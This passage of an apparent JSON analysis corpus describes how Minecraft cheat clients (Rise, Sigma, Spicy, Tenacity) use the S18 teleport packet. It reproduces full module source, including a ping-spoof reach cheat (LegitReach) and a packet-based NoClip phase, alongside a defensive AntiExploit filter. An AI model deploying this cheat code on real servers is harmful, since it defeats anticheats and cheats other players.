      "p": "Five distinct consumers in the corpus. Rise 6.x: LegitReach snaps its realPosition to the absolute coordinates, WatchdogVelocity includes S18 in its spoof packet set and re-anchors on it, and PingSpoofComponent classifies it in the players tuple so teleports are delayed with the rest of the entity stream. Rise 5.99: PlayerData re-anchors serverPosX/Y/Z and zeroes ticksSinceLastTeleport so checks skip the teleport tick. Sigma 4.11: Ranking treats S18 as an entity-removal signal that finalizes kill/death records. Tenacity 6.0: AntiExploit cancels S18 with any coordinate beyond 30,000,000. Spicy: NoClip and Phase import the class but never branch on it, a leftover from their Sigma 2 lineage."
     },
     {
      "h": "Exploit surface",
      "p": "S18 is clientbound and absolute, so the abuse direction is server to client: a malicious server can emit fixed-point coordinates that corrupt client-side position bookkeeping or trigger bounds bugs, which is exactly what Tenacity's AntiExploit threshold mitigates. For cheats, S18 is the epoch boundary of every position-based state machine: accumulated S14 error resets here, so reach and backtrack modules must re-anchor their reconstructed positions on it. The S08PacketPlayerPosLook + S18 pair is the server's complete teleport vocabulary, and disablers and reach modules watch both because a missed teleport poisons every later delta."
     }
    ],
    "overview": "The absolute teleport packet is the reset point of entity position state. Cheat clients re-anchor their reconstructed position caches on it (LegitReach, WatchdogVelocity, Rise 5.99 anticheat), Sigma uses it as an entity-left signal, Tenacity hardens against server-side coordinate abuse, and Spicy's movement modules carry it as a dead import.",
    "server_handling": "The server side only emits S18, never validates it on receive. EntityTrackerEntry chooses it when the tracked entity moved 4+ blocks in a tick, and NetHandlerPlayServer sends it to a player being teleported. The client handler overwrites the entity's serverPosX/Y/Z, applies the +0.015625 y offset, keeps the current position when the entity is already within a 32nd of a block (rotation-only update), then interpolates with the teleport flag set. Because the client trusts the coordinates, a server can move an entity anywhere in the fixed-point range, which is the abuse AntiExploit guards against.",
    "protocol_notes": "Three ints (x 32), two bytes (x 256/360) and a boolean follow the VarInt entityId. The y offset of 0.015625 (0.5 / 32) is applied only on the client and is not part of the wire value. S18 supersedes any pending S14 deltas for the same entity because it overwrites the accumulated serverPosX/Y/Z. The packet is also sent to a player on respawn and dimension change, which is why Ranking's S08 + S18 combination distinguishes death from mere teleport.",
    "anticheat_landscape": "Server anticheats emit S18 as a correction and watch whether the client's later C03 positions rejoin the corrected location; a client that ignores the teleport or desyncs after it flags as position desync. The S08+S18 pair is the standard disabler/reach watch point: modules that delay clientbound traffic must flush on it or their position cache goes permanently stale. The client-side mirror (Rise 5.99 PlayerData) uses ticksSinceLastTeleport to suppress checks for a tick, an acknowledgment that even legitimate teleports produce movement anomalies.",
    "modules": [
     {
      "name": "LegitReach",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Re-anchor the tracked target's server-truth position on the absolute teleport so the ping-spoof reach window keeps measuring the real distance.",
      "how_it_works": "In the same PacketReceiveEvent handler that accumulates S14 deltas, an S18 for the tracked target replaces realPosition with new Vec3(getX() / 32D, getY() / 32D, getZ() / 32D). Without this branch, a teleported target would leave the accumulated position permanently wrong and the reach window would either never open or stay open against a ghost position.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/LegitReach.java =====\npackage com.alan.clients.module.impl.combat;\n\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.component.impl.player.TargetComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PostMotionEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.render.Render3DEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.util.animation.Animation;\nimport com.alan.clients.util.animation.Easing;\nimport com.alan.clients.util.render.ColorUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport net.minecraft.client.renderer.GlStateManager;\nimport net.minecraft.entity.Entity;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.S14PacketEntity;\nimport net.minecraft.network.play.server.S18PacketEntityTeleport;\nimport net.minecraft.util.Vec3;\nimport org.lwjgl.opengl.GL11;\n\nimport java.util.List;\n\n@ModuleInfo(aliases = {\"module.combat.legitreach.name\", \"Back Track\"}, description = \"module.combat.legitreach.description\", category = Category.COMBAT)\npublic final class LegitReach extends Module {\n\n    public NumberValue maxPingSpoof = new NumberValue(\"Max Ping Spoof\", this, 1000, 50, 10000, 1);\n    public BooleanValue render = new BooleanValue(\"Render Real Location\", this, true);\n    private Vec3 realPosition = new Vec3(0, 0, 0);\n    private final Animation animatedX = new Animation(Easing.LINEAR, 50);\n    private final Animation animatedY = new Animation(Easing.LINEAR, 50);\n    private final Animation animatedZ = new Animation(Easing.LINEAR, 50);\n    public Entity targetEntity;\n    public boolean isActive;\n    @EventLink()\n    public final Listener<PostMotionEvent> onPost = event -> {\n        // Getting targets and selecting the nearest one\n        List<EntityLivingBase> targets = TargetComponent.getTargets(9);\n\n        if (targets.isEmpty()) {\n            isActive = true;\n            targetEntity = null;\n            return;\n        }\n\n        Entity entity = targets.get(0);\n        if (entity != targetEntity) {\n            targetEntity = entity;\n\n            realPosition.xCoord = entity.posX;\n            realPosition.yCoord = entity.posY;\n            realPosition.zCoord = entity.posZ;\n        }\n\n        if (targetEntity == null || !(mc.thePlayer.isSwingInProgress || getModule(KillAura.class).isEnabled())) {\n            return;\n        }\n\n        double realDistance = realPosition.distanceTo(mc.thePlayer);\n        double clientDistance = targetEntity.getDistanceToEntity(mc.thePlayer);\n\n        boolean on = realDistance > clientDistance && realDistance > 2.3 && realDistance < 5.9;\n\n        if (on) {\n            PingSpoofComponent.spoof(maxPingSpoof.getValue().intValue(), true, true, true, true);\n        } else {\n            PingSpoofComponent.disable();\n            PingSpoofComponent.dispatch();\n        }\n    };\n\n    @EventLink()\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        final Packet<?> packet = event.getPacket();\n\n        if (targetEntity == null) {\n            return;\n        }\n\n        if (packet instanceof S14PacketEntity) {\n            S14PacketEntity s14PacketEntity = ((S14PacketEntity) packet);\n\n            if (s14PacketEntity.entityId == targetEntity.getEntityId()) {\n                realPosition.xCoord += s14PacketEntity.getPosX() / 32D;\n                realPosition.yCoord += s14PacketEntity.getPosY() / 32D;\n                realPosition.zCoord += s14PacketEntity.getPosZ() / 32D;\n            }\n        } else if (packet instanceof S18PacketEntityTeleport) {\n            S18PacketEntityTeleport s18PacketEntityTeleport = ((S18PacketEntityTeleport) packet);\n\n            if (s18PacketEntityTeleport.getEntityId() == targetEntity.getEntityId()) {\n                realPosition = new Vec3(s18PacketEntityTeleport.getX() / 32D, s18PacketEntityTeleport.getY() / 32D, s18PacketEntityTeleport.getZ() / 32D);\n            }\n        }\n    };\n\n    @EventLink()\n    public final Listener<Render3DEvent> onRender3D = event -> {\n        if (targetEntity == null || !render.getValue()) {\n            return;\n        }\n\n        animatedX.setDuration(150);\n        animatedY.setDuration(150);\n        animatedZ.setDuration(150);\n\n        animatedX.run(realPosition.xCoord);\n        animatedY.run(realPosition.yCoord);\n        animatedZ.run(realPosition.zCoord);\n\n        GlStateManager.pushMatrix();\n        GlStateManager.pushAttrib();\n        GlStateManager.enableBlend();\n        GlStateManager.disableTexture2D();\n        GlStateManager.disableLighting();\n        GL11.glDepthMask(false);\n\n        double expand = 0.14;\n        RenderUtil.color(ColorUtil.withAlpha(getTheme().getFirstColor(), 50));\n\n        RenderUtil.drawBoundingBox(mc.thePlayer.getEntityBoundingBox().offset(-mc.thePlayer.posX, -mc.thePlayer.posY, -mc.thePlayer.posZ).\n                offset(animatedX.getValue(), animatedY.getValue(), animatedZ.getValue()).expand(expand, expand, expand));\n\n        GlStateManager.enableTexture2D();\n        GlStateManager.enableLighting();\n        GlStateManager.disableBlend();\n        GL11.glDepthMask(true);\n        GlStateManager.popAttrib();\n        GlStateManager.popMatrix();\n        GlStateManager.resetColor();\n    };\n}\n\n// NOTE (AI): realPosition is the server-truth position of the target, rebuilt from S14 deltas and S18\n// NOTE (AI): absolutes while the renderer entity interpolates normally. The reach window opens when the\n// NOTE (AI): real distance exceeds the client distance inside 2.3-5.9 blocks; PingSpoofComponent.spoof\n// NOTE (AI): then delays all incoming player-class packets for up to maxPingSpoof ms, which keeps the\n// NOTE (AI): server-side player position stale while the client hits from the closer interpolated spot.\n",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/combat/LegitReach.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Re-anchoring is a correctness requirement, not an exploit: a stale realPosition makes the module either inert or visibly wrong. The reach abuse itself lives in the ping-spoof half, not in the S18 handling.",
      "variations": "Identical module in Rise 6.1.30 (path without the Client-release2 prefix)."
     },
     {
      "name": "Ranking",
      "found_in": [
       "Sigma 4.11"
      ],
      "purpose": "Track kills and deaths for the client's stats system; an S18 teleport for a tracked player finalizes the pending record because a teleporting opponent is out of reach context.",
      "how_it_works": "A hidden, always-on module registered for EventAttack, EventPacket and EventUpdate. On EventAttack it records HitEntity entries per player; S0B animations timestamp attacker candidates; on S18 it calls onEntityRemoved(entityId), which flips the HitEntity to removed and reports killed() or prosecuted() if a chat message already matched the name in the last 3 seconds. S08PacketPlayerPosLook resets all prosecutor records (death/respawn), S13 destroys remove entities, S40 with 'ban' in the text reports a ban stat.",
      "detailed_code": "// ===== FILE: Sigma 4.11, info/sigmaclient/module/impl/other/Ranking.java =====\npackage info.sigmaclient.module.impl.other;\n\nimport info.sigmaclient.Client;\nimport info.sigmaclient.event.Event;\nimport info.sigmaclient.event.RegisterEvent;\nimport info.sigmaclient.event.impl.EventAttack;\nimport info.sigmaclient.event.impl.EventPacket;\nimport info.sigmaclient.event.impl.EventUpdate;\nimport info.sigmaclient.management.users.TTSystem;\nimport info.sigmaclient.module.Module;\nimport info.sigmaclient.module.data.ModuleData;\nimport info.sigmaclient.util.Timer;\nimport info.sigmaclient.util.misc.ChatUtil;\nimport net.minecraft.client.Minecraft;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.entity.EntityLivingBase;\nimport net.minecraft.entity.player.EntityPlayer;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.server.*;\n\nimport java.io.IOException;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\nimport java.util.ConcurrentModificationException;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.UUID;\n\npublic class Ranking extends Module {\n    private HashMap<Integer, HitEntity> hitEntities = new HashMap<>();\n    private HashMap<Integer, HitEntity> prosecutorEntities = new HashMap<>();\n    private HashMap<Integer, Long> lastAnimationTimestamp = new HashMap<>();\n    private info.sigmaclient.util.Timer delay = new Timer();\n\n    public Ranking(ModuleData data) {\n        super(data);\n        setHidden(true);\n        if (!isEnabled()) {\n            toggle();\n        }\n    }\n\n    @Override\n    @RegisterEvent(events = {EventAttack.class, EventPacket.class, EventUpdate.class})\n    public void onEvent(Event e) {\n        if (e instanceof EventAttack) {\n            EventAttack ea = (EventAttack) e;\n            if (ea.getEntity() instanceof EntityPlayer) {\n                EntityPlayer ep = (EntityPlayer) ea.getEntity();\n                if (!ep.getName().isEmpty()) {\n                    if (!hitEntities.containsKey(ep.getEntityId())) {\n                        hitEntities.put(ep.getEntityId(), new HitEntity(ep));\n                    } else {\n                        hitEntities.get(ep.getEntityId()).refresh();\n                    }\n                }\n            }\n        } else if (e instanceof EventPacket) {\n            EventPacket ep = (EventPacket) e;\n            Packet packet = ep.getPacket();\n            if (packet instanceof S0BPacketAnimation) {\n                S0BPacketAnimation packetAnimation = (S0BPacketAnimation) packet;\n                lastAnimationTimestamp.put(packetAnimation.func_148978_c(), System.currentTimeMillis());\n            }\n            if (packet instanceof S06PacketUpdateHealth) {\n                S06PacketUpdateHealth packetUpdateHealth = (S06PacketUpdateHealth) packet;\n                if (packetUpdateHealth.getHealth() <= Minecraft.getMinecraft().thePlayer.getHealth()) {\n                \ttry{\n                \t\tfor (Object o : mc.theWorld.getLoadedEntityList()) {\n                            if (o instanceof EntityPlayer) {\n                                EntityPlayer entityPlayer = (EntityPlayer) o;\n                                if (!(entityPlayer instanceof EntityPlayerSP) && lastAnimationTimestamp.containsKey(entityPlayer.getEntityId())) {\n                                    if (lastAnimationTimestamp.get(entityPlayer.getEntityId()) > System.currentTimeMillis() - 70 && entityPlayer.getPositionVector().squareDistanceTo(Minecraft.getMinecraft().thePlayer.getPositionVector()) < 9 * 9) {\n                                        if (!prosecutorEntities.containsKey(entityPlayer.getEntityId())) {\n                                            prosecutorEntities.put(entityPlayer.getEntityId(), new HitEntity(entityPlayer, true));\n                                        } else {\n                                            prosecutorEntities.get(entityPlayer.getEntityId()).refresh();\n                                        }\n                                    }\n                                }\n                            }\n                        }\n                \t}catch(ConcurrentModificationException ee){};\n                    \n                }\n                if (packetUpdateHealth.getHealth() <= 0) {\n                    onDeath();\n                }\n            }\n            if (packet instanceof S02PacketChat) {\n                S02PacketChat packetChat = (S02PacketChat) packet;\n                String message = packetChat.func_148915_c().getUnformattedText();\n\n                Iterator it = hitEntities.entrySet().iterator();\n                while (it.hasNext()) {\n                    HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it.next()).getValue();\n                    if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && message.contains(hitEntity.getName())) {\n                        if (hitEntity.onChatMessage()) {\n                            it.remove();\n                        }\n                    }\n                }\n\n                Iterator it2 = prosecutorEntities.entrySet().iterator();\n                while (it2.hasNext()) {\n                    HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it2.next()).getValue();\n                    if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && message.contains(hitEntity.getName()) && message.contains(Minecraft.getMinecraft().thePlayer.getName())) {\n                        if (hitEntity.onChatMessage()) {\n                            it2.remove();\n                        }\n                    }\n                }\n            } else if (packet instanceof S18PacketEntityTeleport) {\n                S18PacketEntityTeleport packetTeleport = (S18PacketEntityTeleport) packet;\n                int entityId = packetTeleport.func_149451_c();\n\n                onEntityRemoved(entityId);\n            } else if (packet instanceof S08PacketPlayerPosLook) {\n                onDeath();\n            } else if (packet instanceof S13PacketDestroyEntities) {\n                S13PacketDestroyEntities packetDestroyEntities = (S13PacketDestroyEntities) packet;\n                for (int entityId : packetDestroyEntities.func_149098_c()) {\n                    onEntityRemoved(entityId);\n                }\n            } else if (packet instanceof S40PacketDisconnect) {\n                S40PacketDisconnect packetDisconnect = (S40PacketDisconnect) packet;\n                if (packetDisconnect.func_149165_c().getUnformattedText().toLowerCase().contains(\"ban\") && Minecraft.getMinecraft().thePlayer != null && Minecraft.getMinecraft().thePlayer.ticksExisted > 15 * 20) {\n                    sendStat(\"ban\", \"\");\n                }\n            }\n        } else if (e instanceof EventUpdate) {\n            if (delay.delay(1000 * 60 * 10)) {\n                delay.reset();\n                sendStat(\"tick\", \"\");\n            }\n        }\n    }\n\n    private void onDeath() {\n        Iterator it2 = prosecutorEntities.entrySet().iterator();\n        while (it2.hasNext()) {\n            HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it2.next()).getValue();\n            if (hitEntity.getTime() > System.currentTimeMillis() - 3000) {\n                if (hitEntity.onRemoved()) {\n                    it2.remove();\n                }\n            }\n        }\n    }\n\n    private void onEntityRemoved(int entityId) {\n        Iterator it = hitEntities.entrySet().iterator();\n        while (it.hasNext()) {\n            HitEntity hitEntity = ((Map.Entry<Integer, HitEntity>) it.next()).getValue();\n            if (hitEntity.getTime() > System.currentTimeMillis() - 3000 && entityId == hitEntity.getEntityId()) {\n                if (hitEntity.onRemoved()) {\n                    it.remove();\n                }\n            }\n        }\n    }\n\n    public void sendStat(String type, String data) {\n\n    }\n\n    private class HitEntity {\n        private long time = System.currentTimeMillis();\n        private UUID uuid;\n        private String name;\n        private int entityId;\n        private boolean removed = false;\n        private boolean chatMessage = false;\n        private boolean prosecutor = false;\n\n        public HitEntity(EntityPlayer ep) {\n            uuid = ep.getUniqueID();\n            name = ep.getName();\n            entityId = ep.getEntityId();\n        }\n\n        public HitEntity(EntityPlayer ep, boolean prosecutor) {\n            uuid = ep.getUniqueID();\n            name = ep.getName();\n            entityId = ep.getEntityId();\n            this.prosecutor = prosecutor;\n        }\n\n        public boolean onRemoved() {\n            removed = true;\n            if (chatMessage) {\n                if (prosecutor) {\n                    prosecuted();\n                } else {\n                    killed();\n                }\n                return true;\n            }\n            return false;\n        }\n\n        public boolean onChatMessage() {\n            chatMessage = true;\n            if (removed) {\n                if (prosecutor) {\n                    prosecuted();\n                } else {\n                    killed();\n                }\n                return true;\n            }\n            return false;\n        }\n\n        private void killed() {\n            //ChatUtil.printChat(\"Kill (\" + name + \") \" + uuid.toString());\n            sendStat(\"kill\", \"&uuid=\" + uuid.toString().replaceAll(\"-\", \"\"));\n        }\n\n        public void refresh() {\n            time = System.currentTimeMillis();\n        }\n\n        public String getName() {\n            return name;\n        }\n\n        public long getTime() {\n            return time;\n        }\n\n        public int getEntityId() {\n            return entityId;\n        }\n\n        public void prosecuted() {\n            //ChatUtil.printChat(\"Prosecuted (\" + name + \") \" + uuid.toString());\n            sendStat(\"death\", \"&uuid=\" + uuid.toString().replaceAll(\"-\", \"\"));\n        }\n    }\n}\n\n// NOTE (AI): S18PacketEntityTeleport is treated as an entity-removal signal: a player that teleports is\n// NOTE (AI): out of reach context, so the pending HitEntity record is finalized (killed or prosecuted)\n// NOTE (AI): if a matching chat kill message arrived in the last 3 seconds. S08PacketPlayerPosLook resets\n// NOTE (AI): prosecutor records on death/respawn, S13 destroys remove entities outright.\n",
      "code_source": "Sigma 4.11, info/sigmaclient/module/impl/other/Ranking.java",
      "vanilla_hook": "EventPacket (receive side), EventAttack, EventUpdate.",
      "anti_cheat_notes": "Passive telemetry collection; the S18 branch is just an entity-lifetime heuristic. No packet is mutated or replayed, so there is no detection surface.",
      "variations": "The sendStat methods are stubs in the shipped source; the kill/death reporting path is a framework for a stats backend that was never filled in."
     },
     {
      "name": "NoClip / Phase",
      "found_in": [
       "Spicy"
      ],
      "purpose": "Corpus hit is an import only: both movement modules import S18PacketEntityTeleport but never branch on it.",
      "how_it_works": "NoClip's onEvent sends C03PacketPlayer.C04PacketPlayerPosition through sendPacketNoEvent when collided horizontally, then teleports the local player by 3 blocks up to break free; Phase cancels block hitboxes (EventGetBlockHitbox) and nudges the player position in a 3-stage loop while sending C03PacketPlayer(true). NoClip's header comment credits Sigma 2's Phase as the source, which explains the vestigial S18 import in both files.",
      "detailed_code": "// ===== FILE: Spicy, info/spicyclient/modules/movement/NoClip.java =====\npackage info.spicyclient.modules.movement;\n\nimport org.lwjgl.input.Keyboard;\n\nimport info.spicyclient.events.Event;\nimport info.spicyclient.events.listeners.EventGetBlockHitbox;\nimport info.spicyclient.events.listeners.EventMotion;\nimport info.spicyclient.events.listeners.EventPacket;\nimport info.spicyclient.events.listeners.EventUpdate;\nimport info.spicyclient.modules.Module;\nimport info.spicyclient.modules.Module.Category;\nimport info.spicyclient.util.MovementUtils;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.block.BlockHopper;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S18PacketEntityTeleport;\nimport net.minecraft.util.AxisAlignedBB;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.MathHelper;\n\npublic class NoClip extends Module {\n\t\n\t/*\n\t * \n\t * NOTICE: This module's code is taken from the sigma 2 code\n\t * here is the link to that https://gitlab.com/Arithmo/Sigma/-/blob/master/info/sigmaclient/module/impl/movement/Phase.java\n\t * \n\t */\n\t\n\tpublic NoClip() {\n\t\tsuper(\"NoClip\", Keyboard.KEY_NONE, Category.BETA);\n\t}\n\n\t\n\tpublic void onEnable() {\n\t\tmc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.0784001, mc.thePlayer.posZ);\n\t}\n\t\n\tpublic void onDisable() {\n\t\t\n\t}\n\t\n\tpublic void onEvent(Event e) {\n\t\t\n\t\tif (e instanceof EventMotion && e.isPre()) {\n\t\t\t\n            double mx = Math.cos(Math.toRadians((double)(mc.thePlayer.rotationYaw + 90.0F)));\n            double mz = Math.sin(Math.toRadians((double)(mc.thePlayer.rotationYaw + 90.0F)));\n            double x = (double)mc.thePlayer.movementInput.moveForward * 0.4 * mx + (double)mc.thePlayer.movementInput.moveStrafe * 0.4 * mz;\n            double z = (double)mc.thePlayer.movementInput.moveForward * 0.4 * mz - (double)mc.thePlayer.movementInput.moveStrafe * 0.4 * mx;\n            if (mc.thePlayer.isCollidedHorizontally && !mc.thePlayer.isOnLadder()) {\n                mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z, false));\n                mc.getNetHandler().getNetworkManager().sendPacketNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 3.0D, mc.thePlayer.posZ, false));\n                mc.thePlayer.setPosition(mc.thePlayer.posX + x, mc.thePlayer.posY, mc.thePlayer.posZ + z);\n            }\n        }\n\t\t\n\t}\n\t\n    private boolean isInsideBlock() {\n        for (int x = MathHelper.floor_double(mc.thePlayer.boundingBox.minX); x < MathHelper.floor_double(mc.thePlayer.boundingBox.maxX) + 1; x++) {\n            for (int y = MathHelper.floor_double(mc.thePlayer.boundingBox.minY); y < MathHelper.floor_double(mc.thePlayer.boundingBox.maxY) + 1; y++) {\n                for (int z = MathHelper.floor_double(mc.thePlayer.boundingBox.minZ); z < MathHelper.floor_double(mc.thePlayer.boundingBox.maxZ) + 1; z++) {\n                    Block block = mc.theWorld.getBlockState(new BlockPos(x, y, z)).getBlock();\n                    if ((block != null) && (!(block instanceof BlockAir))) {\n                        AxisAlignedBB boundingBox = block.getCollisionBoundingBox(mc.theWorld, new BlockPos(x, y, z), mc.theWorld.getBlockState(new BlockPos(x, y, z)));\n                        if ((block instanceof BlockHopper)) {\n                            boundingBox = new AxisAlignedBB(x, y, z, x + 1, y + 1, z + 1);\n                        }\n                        if (boundingBox != null) {\n                            if (mc.thePlayer.boundingBox.intersectsWith(boundingBox)) {\n                                return true;\n                            }\n                        }\n                    }\n                }\n            }\n        }\n        return false;\n    }\n\n\t\n}\n\n// NOTE (AI): The S18PacketEntityTeleport import is dead code: the shipped handlers never branch on the\n// NOTE (AI): packet. The header comment credits Sigma 2's Phase as the source of this module, which\n// NOTE (AI): explains the leftover import. The actual phase movement is driven by C03PacketPlayer\n// NOTE (AI): positions sent through sendPacketNoEvent while collided horizontally.\n",
      "code_source": "Spicy, info/spicyclient/modules/movement/NoClip.java",
      "vanilla_hook": "EventMotion (pre), EventGetBlockHitbox; S18 import unused.",
      "anti_cheat_notes": "The movement abuse is in the C03 stream, which is what anti-cheats flag (vertical motion while inside blocks). The unused S18 import has no effect on detection.",
      "variations": "Phase.java (Spicy) carries the same dead import and additionally imports EventSendPacket; its hitbox-cancel approach is the more aggressive variant."
     },
     {
      "name": "AntiExploit",
      "found_in": [
       "Tenacity 6.0"
      ],
      "purpose": "Harden the client against server-side crash and grief exploits; the S18 branch blocks teleport coordinates beyond the world border.",
      "how_it_works": "On PacketReceiveEvent, an S18 with any |getX()/getY()/getZ()| above 30,000,000 is cancelled and logged as 'Blocked Exploit: Teleport'. The same handler validates S48 resource pack URIs (http/https/level only, no path traversal), blocks S43 camera outside spectator, rejects particle floods, rate-limits S27 explosions and S11 experience orbs to 1 per millisecond, and caps total incoming packets at 100/second.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java =====\npackage dev.tenacity.module.impl.misc;\n\nimport dev.tenacity.event.IEventListener;\nimport dev.tenacity.event.impl.packet.PacketReceiveEvent;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.module.ModuleCategory;\nimport dev.tenacity.util.misc.ChatUtil;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C19PacketResourcePackStatus;\nimport net.minecraft.network.play.server.*;\n\nimport java.net.URI;\nimport java.net.URISyntaxException;\n\npublic class AntiExploit extends Module {\n\n\n\n    private long lastExplosion = 0, lastExperience = 0;\n    private int invalidExperience = 0;\n   final int PACKET_THRESHOLD = 100;\n    final long CHECK_INTERVAL = 1000;\n    int packetCount = 0;\n\n    public AntiExploit() {\n        super(\"AntiExploit\", \"Prevents server exploits\", ModuleCategory.MISC);\n    }\n\n    private final IEventListener<PacketReceiveEvent> onReceivePacket = event -> {\n        Packet<?> packet = event.getPacket();\n        handlePacketCount();\n        if(packet instanceof S48PacketResourcePackSend) {\n            S48PacketResourcePackSend resourcePack = (S48PacketResourcePackSend) packet;\n\n            try {\n                URI uri = new URI(resourcePack.getURL());\n                String scheme = uri.getScheme();\n\n                boolean isLevelProtocol = scheme.equalsIgnoreCase(\"level\");\n                boolean isHttpProtocol = scheme.equalsIgnoreCase(\"http\");\n                boolean isHttpsProtocol = scheme.equalsIgnoreCase(\"https\");\n\n                if(!isHttpProtocol && !isHttpsProtocol && !isLevelProtocol) {\n                    ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                    event.cancel();\n                } else if(isLevelProtocol && (resourcePack.getURL().contains(\"..\") || !((S48PacketResourcePackSend) packet).getURL().endsWith(\"/resources.zip\"))) {\n                    ChatUtil.print(\"§cBlocked Exploit: File Access\");\n                    event.cancel();\n                    mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n                }\n            } catch (URISyntaxException exception) {\n                ChatUtil.print(\"§cBlocked Exploit: Resource Pack\");\n                event.cancel();\n                mc.getNetHandler().addToSendQueue(new C19PacketResourcePackStatus(((S48PacketResourcePackSend) packet).getHash(), C19PacketResourcePackStatus.Action.FAILED_DOWNLOAD));\n            }\n        } else if(packet instanceof S43PacketCamera && !mc.thePlayer.isSpectator()) {\n            ChatUtil.print(\"§cBlocked Exploit: Crash\");\n            event.cancel();\n        } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n            if(Math.abs(particles.getParticleSpeed()) >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(((S2APacketParticles) packet).getParticleCount() > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        } else if(packet instanceof S27PacketExplosion) {\n            S27PacketExplosion explosion = (S27PacketExplosion) packet;\n\n            if(Math.abs(explosion.getStrength()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(System.currentTimeMillis() - lastExplosion <= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            } else if(packet instanceof S2APacketParticles) {\n            S2APacketParticles particles = (S2APacketParticles) packet;\n\n            if(Math.abs(particles.getParticleSpeed()) > 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Particles\");\n                event.cancel();\n            } else if(particles.getParticleCount() >= 1) {\n                ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                event.cancel();\n            }\n        }\n\n            lastExplosion = System.currentTimeMillis();\n        } else if(packet instanceof S18PacketEntityTeleport) {\n            S18PacketEntityTeleport teleport = (S18PacketEntityTeleport) packet;\n\n            double packetX = Math.abs(teleport.getX());\n            double packetY = Math.abs(teleport.getY());\n            double packetZ = Math.abs(teleport.getZ());\n\n            if(packetX > 30000000 || packetY > 30000000 || packetZ > 30000000) {\n                ChatUtil.print(\"§cBlocked Exploit: Teleport\");\n                event.cancel();\n            }\n        } else if(packet instanceof S11PacketSpawnExperienceOrb) {\n            if(System.currentTimeMillis() - lastExperience <= 1) {\n                invalidExperience++;\n\n                if(invalidExperience >= 2) {\n                    ChatUtil.print(\"§cBlocked Exploit: Crash\");\n                    event.cancel();\n                }\n            } else {\n                invalidExperience = 0;\n            }\n            lastExperience = System.currentTimeMillis();\n        }\n\n    };\n\n    private void triggerKick() {\n        ChatUtil.print(\"§cAbnormal packet activity detected. Kicking player...\");\n    }\n        private void handlePacketCount() {\n            long currentTime = System.currentTimeMillis();\n\n            long lastPacketCheckTime = 0;\n            if (currentTime - lastPacketCheckTime > CHECK_INTERVAL) {\n                packetCount = 0;\n                lastPacketCheckTime = currentTime;\n            }\n            packetCount++;\n            if (packetCount > PACKET_THRESHOLD) {\n                triggerKick();\n                packetCount = 0;\n        }\n\n    }\n\n}\n\n// NOTE (AI): The S18 branch sanity-checks the absolute fixed-point coordinates and cancels the packet\n// NOTE (AI): when any |coordinate| exceeds 30,000,000, the vanilla world border. The same handler blocks\n// NOTE (AI): non-http resource pack URIs (level:// traversal), S43 camera outside spectator, particle\n// NOTE (AI): floods, S27 explosion spam and S11 experience orb spam, plus a 100 packets/second cap.\n",
      "code_source": "Tenacity 6.0, dev/tenacity/module/impl/misc/AntiExploit.java",
      "vanilla_hook": "PacketReceiveEvent.",
      "anti_cheat_notes": "Cancelling clientbound packets is invisible to the server and cannot be flagged. The 30,000,000 bound matches the vanilla world border at which the server itself clamps movement.",
      "variations": "Tenacity 6.0 is the only one of the 8 clients with a crash-exploit hardening module touching S18."
     },
     {
      "name": "WatchdogVelocity",
      "found_in": [
       "Rise 6.2.4"
      ],
